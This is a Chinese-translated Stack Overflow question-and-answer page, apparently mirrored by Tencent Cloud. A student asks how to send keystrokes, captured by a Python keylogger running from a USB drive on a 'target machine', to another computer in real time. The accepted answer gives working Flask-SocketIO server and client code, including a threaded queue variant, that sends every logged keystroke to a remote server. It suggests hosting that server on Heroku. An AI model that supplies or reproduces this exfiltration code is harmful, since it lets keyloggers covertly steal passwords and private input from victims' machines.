首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >无线传输日志文件

无线传输日志文件
EN

Stack Overflow用户
提问于 2021-05-03 21:38:52
回答 1查看 76关注 0票数 0

我是一个网络安全专业的学生,从事一个项目,该项目捕捉击键并将其保存到一个.txt文件(用python构建的简单键盘记录器),该文件将存储在插入目标机器的USB闪存驱动器中。然后,必须将关键数据从USB无线传输到另一台计算机。我正在寻找最好的方式来传输这些数据(最好是实时的)。任何提示都将不胜感激。提前谢谢。

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2021-05-03 21:52:38

您可以使用套接字来完成这个任务。下面的代码使用python服务器和客户机。服务器可以托管在Heroku或任何其他支持python服务器的web托管服务上。如果要将其部署到宿主服务中,请查看它们的文档。您还可以在本地运行服务器(仅用于测试/演示目的)。

服务器:

代码语言:javascript
复制
from flask import Flask, render_template
from flask_socketio import SocketIO, emit

app = Flask(__name__)
app.config['SECRET_KEY'] = 'secret!'
socketio = SocketIO(app)

@socketio.on('keylogger')
def test_connect(data):
    print(data["keylogged"])

if __name__ == '__main__':
    socketio.run(app)

客户端代码(将此添加到您的密钥记录器以发送每个keystoke):

代码语言:javascript
复制
from socketIO_client import SocketIO, LoggingNamespace

socketIO = SocketIO('localhost', 5000, LoggingNamespace) # Change 5000 to 443 if running on heroku, and change the localhost to the server url
socketIO.emit('keylogger', {"keylogged": "<key that code logged>"})

如果上面的代码客户端代码太慢,您可能需要使用queuethreading,如下所示:

代码语言:javascript
复制
import queue
import threading
from socketIO_client import SocketIO, LoggingNamespace

socketIO = SocketIO('localhost', 5000, LoggingNamespace)


q = queue.Queue()

def background():
    while True:
        msg = q.get()
        socketIO.emit("keylogger", {"keylogged": msg})

sockthread = threading.Thread(target=background)
sockthread.start()


<code that logs key, and when a key is detected, adds the key into the queue: `q.put(key)`>

在运行以下代码之前,服务器安装了以下依赖项:

代码语言:javascript
复制
flask
flask-socketio

客户端安装了以下依赖项:

代码语言:javascript
复制
socketIO-client
票数 1
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/67376137

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档